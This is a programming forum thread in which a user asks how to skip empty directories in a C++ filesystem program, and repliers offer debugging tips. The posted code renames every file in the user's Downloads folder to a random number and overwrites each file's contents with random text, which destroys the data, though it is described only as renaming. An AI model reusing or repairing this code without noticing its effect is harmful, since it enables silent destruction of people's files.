7 Replies - 216 Views - Last Post: 02 November 2019 - 11:44 AM Rate Topic: -----

#1 CodingUniversity   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 4
  • Joined: 02-November 19

How can I check if directory is empty ?

Posted 02 November 2019 - 02:50 AM

I'm setting up my new code about changing files names, my program is just changes the file names in a specific path, I using filesystem library. My problem is that when there is nothing in the path ( In my case its downloads's path ) if there is nothing there, I'm getting run time error in case that there is no memory.

I want to check if there is a something in a directory and if not just don't do nothing there, just continue, my program is not working if there is nothing in a directory and its annoying.

How can i do this ?

srand(time(0));
string dirPath = "C:\\Users\\" + username() + "\\Downloads\\";
auto path = fs::path(dirPath);
auto dir = fs::recursive_directory_iterator(path);
filesystem::path currPath = path;
auto innerPaths = vector<fs::path>();
innerPaths.push_back(currPath);
int fileName = rand() % 1920;
auto currentDepthSize = dir.depth();

for (auto& block : dir)
{
    if (currentDepthSize != dir.depth())
    {
        currentDepthSize = dir.depth();
        currPath = innerPaths[currentDepthSize];
    }
    if (block.is_directory())
    {
        currentDepthSize = dir.depth();
        currPath = dir->path();
        innerPaths.push_back(currPath);
    }
    else
    {
        string filedata = (currPath.string() + to_string(fileName));
        fs::rename(block.path(), filedata);
        fileName++;
        fstream file_data(filedata);
        file_data << randomString();
        file_data.close();
    }
}


I already tried to check if directory is empty , but without success.

Is This A Good Question/Topic? 0
  • +

Replies To: How can I check if directory is empty ?

#2 Martyr2   User is offline

  • Programming Theoretician
  • member icon

Reputation: 5496
  • View blog
  • Posts: 14,470
  • Joined: 18-April 07

Re: How can I check if directory is empty ?

Posted 02 November 2019 - 10:35 AM

Have you tried this on a simple empty directory? The reason I ask is because the idea is that your loop shouldn't iterate if there is nothing there. Maybe have it print each path as it goes through and then when you point it at your downloads folder you can see what it is seeing. Again, if there is nothing there, then it shouldn't even loop.

:)
Was This Post Helpful? 0
  • +
  • -

#3 CodingUniversity   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 4
  • Joined: 02-November 19

Re: How can I check if directory is empty ?

Posted 02 November 2019 - 10:36 AM

I tried to use fs::is_empty, but without success.
Please help me solve my problem, i stuck on it for like 2 weeks.

This post has been edited by Skydiver: 02 November 2019 - 11:41 AM
Reason for edit:: Removed unnecessary quote. No need to quote the post above yours.

Was This Post Helpful? 0
  • +
  • -

#4 Martyr2   User is offline

  • Programming Theoretician
  • member icon

Reputation: 5496
  • View blog
  • Posts: 14,470
  • Joined: 18-April 07

Re: How can I check if directory is empty ?

Posted 02 November 2019 - 10:43 AM

I just told you how to work on fixing it. Create a simple brand new empty directory. Put in a print statement that prints the path. Then point your program at the empty directory and see if it prints anything. If that is fine, then point it at your downloads (leaving the print statement in there) and see if it starts printing paths. Perhaps it is seeing paths you don't. Could there be hidden paths?

This post has been edited by Martyr2: 02 November 2019 - 10:43 AM

Was This Post Helpful? 0
  • +
  • -

#5 CodingUniversity   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 4
  • Joined: 02-November 19

Re: How can I check if directory is empty ?

Posted 02 November 2019 - 11:01 AM

I think that you don't understand my problem.

My program just changes files name in the path i write, but when there is nothing in the path, im getting runtime error in case that there is no memory in the path, i want to do that when there is nothing in the path, just continue.

This post has been edited by Skydiver: 02 November 2019 - 11:42 AM
Reason for edit:: Removed unnecessary quote. No need to quote the post above yours.

Was This Post Helpful? 0
  • +
  • -

#6 Martyr2   User is offline

  • Programming Theoretician
  • member icon

Reputation: 5496
  • View blog
  • Posts: 14,470
  • Joined: 18-April 07

Re: How can I check if directory is empty ?

Posted 02 November 2019 - 11:37 AM

Probably what you are talking about. https://en.cpprefere...l/fs/path/empty
Was This Post Helpful? 0
  • +
  • -

#7 CodingUniversity   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 4
  • Joined: 02-November 19

Re: How can I check if directory is empty ?

Posted 02 November 2019 - 11:39 AM

I already fix it, thank you for the help bro

This post has been edited by Skydiver: 02 November 2019 - 11:43 AM
Reason for edit:: Removed unnecessary quote. No need to quote the post above yours.

Was This Post Helpful? 0
  • +
  • -

#8 Skydiver   User is online

  • Code herder
  • member icon

Reputation: 7141
  • View blog
  • Posts: 24,251
  • Joined: 05-May 12

Re: How can I check if directory is empty ?

Posted 02 November 2019 - 11:44 AM

CodingUniversity: There is no need to quote the post above yours. Just use the big Reply button or the Fast Reply area.

Since you already solved the issue, you should share the solution. This is a community learning site. The point is to allow others to learn.
Was This Post Helpful? 0
  • +
  • -

Page 1 of 1